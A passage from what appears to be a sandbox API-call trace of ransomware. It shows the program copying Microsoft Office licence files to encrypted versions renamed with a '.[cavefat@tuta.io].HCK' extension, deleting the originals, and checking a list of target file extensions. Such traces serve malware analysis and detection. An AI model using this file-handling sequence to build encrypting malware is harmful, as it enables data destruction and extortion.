dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0243.354] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=25386) returned 1 [0243.354] CloseHandle (hObject=0x4a4) returned 1 [0243.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 0x220 [0243.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0243.355] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.355] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0243.356] GetLastError () returned 0x0 [0243.356] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x632a, lpOverlapped=0x0) returned 1 [0243.358] WriteFile (in: hFile=0x56c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x6330, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x6330, lpOverlapped=0x0) returned 1 [0243.359] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.359] WriteFile (in: hFile=0x56c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x11e, lpOverlapped=0x0) returned 1 [0243.360] SetEndOfFile (hFile=0x56c) returned 1 [0243.360] CloseHandle (hObject=0x56c) returned 1 [0243.360] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.360] SetEndOfFile (hFile=0x4a4) returned 1 [0243.362] CloseHandle (hObject=0x4a4) returned 1 [0243.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 1 [0243.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0243.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0243.363] lstrlenW (lpString=".doc") returned 4 [0243.363] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.363] lstrlenW (lpString=".docx") returned 5 [0243.363] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.363] lstrlenW (lpString=".pdf") returned 4 [0243.363] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.363] lstrlenW (lpString=".xls") returned 4 [0243.363] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.363] lstrlenW (lpString=".xlsx") returned 5 [0243.363] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.363] lstrlenW (lpString=".ppt") returned 4 [0243.363] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0243.363] lstrlenW (lpString=".zip") returned 4 [0243.364] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString=".rar") returned 4 [0243.364] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString=".bz2") returned 4 [0243.364] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString=".7z") returned 3 [0243.364] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0243.364] lstrlenW (lpString=".dbf") returned 4 [0243.364] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0243.364] lstrlenW (lpString=".1cd") returned 4 [0243.364] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0243.364] lstrlenW (lpString=".jpg") returned 4 [0243.364] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0243.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0243.364] lstrlenW (lpString=".doc") returned 4 [0243.364] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString=".docx") returned 5 [0243.364] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.364] lstrlenW (lpString=".pdf") returned 4 [0243.364] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString=".xls") returned 4 [0243.364] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString=".xlsx") returned 5 [0243.364] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.364] lstrlenW (lpString=".ppt") returned 4 [0243.364] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0243.364] lstrlenW (lpString=".zip") returned 4 [0243.364] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString=".rar") returned 4 [0243.364] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString=".bz2") returned 4 [0243.364] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString=".7z") returned 3 [0243.364] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0243.364] lstrlenW (lpString=".dbf") returned 4 [0243.364] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0243.364] lstrlenW (lpString=".1cd") returned 4 [0243.364] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0243.364] lstrlenW (lpString=".jpg") returned 4 [0243.364] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.365] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.365] lstrlenW (lpString="O365BusinessR_Subscription-ul-oob.xrm-ms") returned 40 [0243.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0243.365] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11647) returned 1 [0243.365] CloseHandle (hObject=0x4a4) returned 1 [0243.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 0x220 [0243.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0243.366] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.366] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0243.369] GetLastError () returned 0x0 [0243.369] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d7f, lpOverlapped=0x0) returned 1 [0243.370] WriteFile (in: hFile=0x56c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0243.371] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.371] WriteFile (in: hFile=0x56c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x124, lpOverlapped=0x0) returned 1 [0243.371] SetEndOfFile (hFile=0x56c) returned 1 [0243.371] CloseHandle (hObject=0x56c) returned 1 [0243.371] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.371] SetEndOfFile (hFile=0x4a4) returned 1 [0243.374] CloseHandle (hObject=0x4a4) returned 1 [0243.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 1 [0243.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0243.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0243.375] lstrlenW (lpString=".doc") returned 4 [0243.375] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.375] lstrlenW (lpString=".docx") returned 5 [0243.375] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.375] lstrlenW (lpString=".pdf") returned 4 [0243.375] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.375] lstrlenW (lpString=".xls") returned 4 [0243.375] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.375] lstrlenW (lpString=".xlsx") returned 5 [0243.375] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.375] lstrlenW (lpString=".ppt") returned 4 [0243.375] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0243.375] lstrlenW (lpString=".zip") returned 4 [0243.375] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.375] lstrlenW (lpString=".rar") returned 4 [0243.375] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.375] lstrlenW (lpString=".bz2") returned 4 [0243.375] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.375] lstrlenW (lpString=".7z") returned 3 [0243.375] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0243.375] lstrlenW (lpString=".dbf") returned 4 [0243.375] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0243.375] lstrlenW (lpString=".1cd") returned 4 [0243.375] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0243.376] lstrlenW (lpString=".jpg") returned 4 [0243.376] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0243.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0243.376] lstrlenW (lpString=".doc") returned 4 [0243.376] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.376] lstrlenW (lpString=".docx") returned 5 [0243.376] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.376] lstrlenW (lpString=".pdf") returned 4 [0243.376] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.376] lstrlenW (lpString=".xls") returned 4 [0243.376] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.376] lstrlenW (lpString=".xlsx") returned 5 [0243.376] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.376] lstrlenW (lpString=".ppt") returned 4 [0243.376] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0243.376] lstrlenW (lpString=".zip") returned 4 [0243.376] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.376] lstrlenW (lpString=".rar") returned 4 [0243.376] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.376] lstrlenW (lpString=".bz2") returned 4 [0243.376] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.376] lstrlenW (lpString=".7z") returned 3 [0243.376] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0243.376] lstrlenW (lpString=".dbf") returned 4 [0243.376] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0243.376] lstrlenW (lpString=".1cd") returned 4 [0243.376] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0243.376] lstrlenW (lpString=".jpg") returned 4 [0243.376] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.376] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.376] lstrlenW (lpString="O365BusinessR_SubTest-pl.xrm-ms") returned 31 [0243.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0243.377] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11175) returned 1 [0243.377] CloseHandle (hObject=0x4a4) returned 1 [0243.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 0x220 [0243.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0243.378] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.378] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0243.379] GetLastError () returned 0x0 [0243.379] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2ba7, lpOverlapped=0x0) returned 1 [0243.559] WriteFile (in: hFile=0x56c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0243.560] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.560] WriteFile (in: hFile=0x56c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x112, lpOverlapped=0x0) returned 1 [0243.560] SetEndOfFile (hFile=0x56c) returned 1 [0243.560] CloseHandle (hObject=0x56c) returned 1 [0243.560] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.560] SetEndOfFile (hFile=0x4a4) returned 1 [0243.564] CloseHandle (hObject=0x4a4) returned 1 [0243.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 1 [0243.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0243.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0243.904] lstrlenW (lpString=".doc") returned 4 [0243.904] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.904] lstrlenW (lpString=".docx") returned 5 [0243.904] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.904] lstrlenW (lpString=".pdf") returned 4 [0243.904] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.904] lstrlenW (lpString=".xls") returned 4 [0243.904] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.904] lstrlenW (lpString=".xlsx") returned 5 [0243.904] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.904] lstrlenW (lpString=".ppt") returned 4 [0243.904] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0243.904] lstrlenW (lpString=".zip") returned 4 [0243.904] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.904] lstrlenW (lpString=".rar") returned 4 [0243.904] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.904] lstrlenW (lpString=".bz2") returned 4 [0243.904] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.904] lstrlenW (lpString=".7z") returned 3 [0243.904] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0243.904] lstrlenW (lpString=".dbf") returned 4 [0243.904] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0243.904] lstrlenW (lpString=".1cd") returned 4 [0243.904] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0243.904] lstrlenW (lpString=".jpg") returned 4 [0243.904] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0243.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0243.904] lstrlenW (lpString=".doc") returned 4 [0243.904] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.904] lstrlenW (lpString=".docx") returned 5 [0243.904] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.904] lstrlenW (lpString=".pdf") returned 4 [0243.904] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.904] lstrlenW (lpString=".xls") returned 4 [0243.904] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.904] lstrlenW (lpString=".xlsx") returned 5 [0243.904] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.904] lstrlenW (lpString=".ppt") returned 4 [0243.905] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0243.905] lstrlenW (lpString=".zip") returned 4 [0243.905] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.905] lstrlenW (lpString=".rar") returned 4 [0243.905] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.905] lstrlenW (lpString=".bz2") returned 4 [0243.905] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.905] lstrlenW (lpString=".7z") returned 3 [0243.905] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0243.905] lstrlenW (lpString=".dbf") returned 4 [0243.905] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0243.905] lstrlenW (lpString=".1cd") returned 4 [0243.905] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.905] lstrlenW (lpString="C:\\Program 